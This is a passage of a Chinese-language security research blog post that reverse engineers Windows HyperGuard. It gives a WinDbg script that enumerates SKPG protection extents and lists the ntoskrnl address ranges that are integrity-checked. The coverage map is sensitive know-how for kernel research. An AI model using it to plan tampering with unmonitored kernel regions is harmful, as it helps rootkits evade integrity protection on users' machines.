0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">安全内核与常规内核一样，是一个可执行文件——它主要存在于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">securekernel.exe</span></code><span leaf="">中，还有少量 DLL 依赖。该镜像在启动时被加载到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VTL1</span></code><span leaf="">中，随后 HyperGuard 被初始化。我还没有（亲自）逆向分析初始化过程，不过 Yarden Shafir 有一个出色的博客系列专门讨论这个话题，你可以在这里找到。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于安全内核运行在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VTL1</span></code><span leaf="">中，我们无法用常规设置来调试它。为此，我使用了：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Hyper-V 虚拟机客户机——运行 Windows Server 2022。这是</span><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">调试器机器</span></strong><span leaf="">，我在上面运行工具。从这个客户机，我通过 Hyper-V 透传在其中运行第二个虚拟机：</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Windows 11 企业版，这是</span><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">我们要调试的虚拟机</span></strong><span leaf="">，运行 25H2 版本。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我现在不打算详细讲述设置过程，将留到后续博客文章中再讲。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">检查 HyperGuard</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">securekernel!SkpgContext</span></code><span leaf="">是一个在运行时被大量使用的符号：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013093" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.9515331355093967" data-w="1011" src="https://wechat2rss.xlab.app/img-proxy/?k=d07104ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSghxwE5YGacNzWNLhHFcepOv9G40nxFkF0Pciaicg3KXPEyyeJdCtSyv2yZOust1iauu9DYhdlQDuKia1g1dvhpllSN27BoPm2d86E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是一个指向 SKPG 运行时状态对象的全局指针，它是一个在堆上分配的状态块，由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">securekernel!SkpgConnect</span></code><span leaf="">在 HyperGuard 激活时构建，供回调/运行时代码查询使用。我们可以看到这个标签持有一个地址。在本文中，我们只关注 HyperGuard 在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NTOSKRNL</span></code><span leaf="">中保护了什么。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013094" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.10089686098654709" data-w="446" src="https://wechat2rss.xlab.app/img-proxy/?k=28f978cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgg1XvPYgoN5etqNwrXLXje3UrlDmpicbiceplXfyqubU835LzOegetBtyOfNbFLbtDdnHapWjHMCAynaiaQCCq9o97JaXhu8xz7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SkpgContext</span></code><span leaf="">指向一个在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SkpgConnect</span></code><span leaf="">期间分配的动态大小运行时上下文。该上下文包含全局 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SKPG</span></code><span leaf="">状态，后跟一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SKPG_EXTENT</span></code><span leaf="">记录数组。在这篇博客中，Yarden 解释了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">context</span></code><span leaf="">结构体用于所有 SKPG 检查。它们包括：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Hash（受保护区域的哈希值）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Base（受保护对象的基地址）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Size（保护覆盖的字节数）</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Type &amp; flags（类型与标志）</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因此，我们大致了解了布局，知道了它在运行时的位置，而且我的调试器已正确附加，所以我们可以开始 dump 内存并编写脚本来遍历它了！</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">首先，我们需要知道 NTOSKRNL 的地址起止范围，这可以通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">lm m nt</span></code><span leaf="">获取：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013095" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.2361111111111111" data-w="432" src="https://wechat2rss.xlab.app/img-proxy/?k=8b98bf05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgz22XybgpAaDXBRp7KCpyoTIgaAYl9XibPdNsZbzFc49MNWyvFxmRmhMicquka3u3gl6pYWOZVxKnlE3iaXngKLIDh41sWLSjxWM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在我们可以过滤落在该范围内的任何地址，并使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">logopen</span></code><span leaf="">将输出写入文件，以便更容易地逐条查看：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">r @$t0 = poi(securekernel!SkpgContext); r @$t1 = dwo(@$t0+0x28); r @$t2 = @$t0+dwo(@$t0+0x2c); .for (r @$t3=0; @$t3&lt;@$t1; r @$t3=@$t3+1) { r @$t4=@$t2+@$t3*0x30; r @$t5=poi(@$t4+0x8); .if (@$t5 &gt;= fffff802`a8a00000) { .if (@$t5 &lt; fffff802`a9e4f000) { .printf &#34;\n[%04x] type=%04x flags=%04x size=%08x base=%p end=%p hash=%p\n&#34;, @$t3, wo(@$t4), wo(@$t4+0x2), dwo(@$t4+0x4), @$t5, @$t5+dwo(@$t4+0x4)-1, poi(@$t4+0x10); ln @$t5; } } }</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们在其中添加了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ln</span></code><span leaf="">，它有助于解析一些符号，但并非全部——少数需要在 Ida 中手动调查。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">总体发现</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我开始逐条手动检查与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntoskrnl</span></code><span leaf="">虚拟地址空间匹配的条目，然而，绝大多数是单页（0x1000）</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SKPG_EXTENT</span></code><span leaf="">条目的连续区域；我推测这样组织是为了更快地进行哈希计算，同时也更容易确定哪个页面发生了意外修改。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简而言之，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntoskrnl</span></code><span leaf="">中受连续监控的区域可以归结为（地址已转换为 Ida 基址，而非真实虚拟地址基址）：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">range_0 = 0x140000000 - 0x14016BFFF</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">range_1 = 0x140200000 - 0x1406E8FFF</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">range_2 = 0x140B62000 - 0x140B64FFF</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">range_3 = 0x140BA7000 - 0x140BA8FFF</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">range_4 = 0x140BAA000 - 0x140BC9FFF</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Range 0</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这一区域从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NTOSKRNL</span></code><span leaf="">的基地址开始，你可以在这里看到：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013096" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.19074074074074074" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1a33a597&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSh5RRanOVAXawlsgHey3bzicMtxuCoVicqVrjiaAX4wfPbp7eBicPiaBr7dOl7PDibJFD3juFfUfWuziaay9LF5NoHdg9ibPVjUbHFPdzk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">它还连续覆盖了镜像基址、镜像头、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.rdata</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.pdata</span></code><span leaf="">、两个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.idata</span></code><span leaf="">映射以及 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PROTDATA</span></code><span leaf="">的第一个页面。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013098" data-ratio="0.32517482517482516" data-s="300,640" data-type="png" data-w="572" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=08649bce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgqvSs4F869ia5G7oVez2icKAxRZoWib7hW7N6icWAUUE6LKECy351aiaf17KsplEodbyHK5mOlnUkiapsPSF95UiaWYV1ReYibgUTVj9k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该区域保护 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x16C000</span></code><span leaf="">字节。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Range 1</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这一区域保护 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntoskrnl</span></code><span leaf="">内的可执行代码，从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_tlgWriteTemplate</span></code><span leaf="">开始，一直延伸到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.text</span></code><span leaf="">节的末尾，如下所示：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013099" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.5888888888888889" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0b4fa860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaSISIiasU09081m0UsW9niaOPvic0h0dKbFAJknBbfpVasIQlYoKV2hxiaToe6M9VAzw4SIzLnEz2ccwU3FAiaHFAKeCmHRdyfTJPw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该区域保护 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x4E9000</span></code><span leaf="">字节，是最大的连续保护范围。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Range 2</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这一区域保护一个较小的区域，共 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x3000</span></code><span leaf="">字节，即 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">POOLCODE</span></code><span leaf="">节。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" 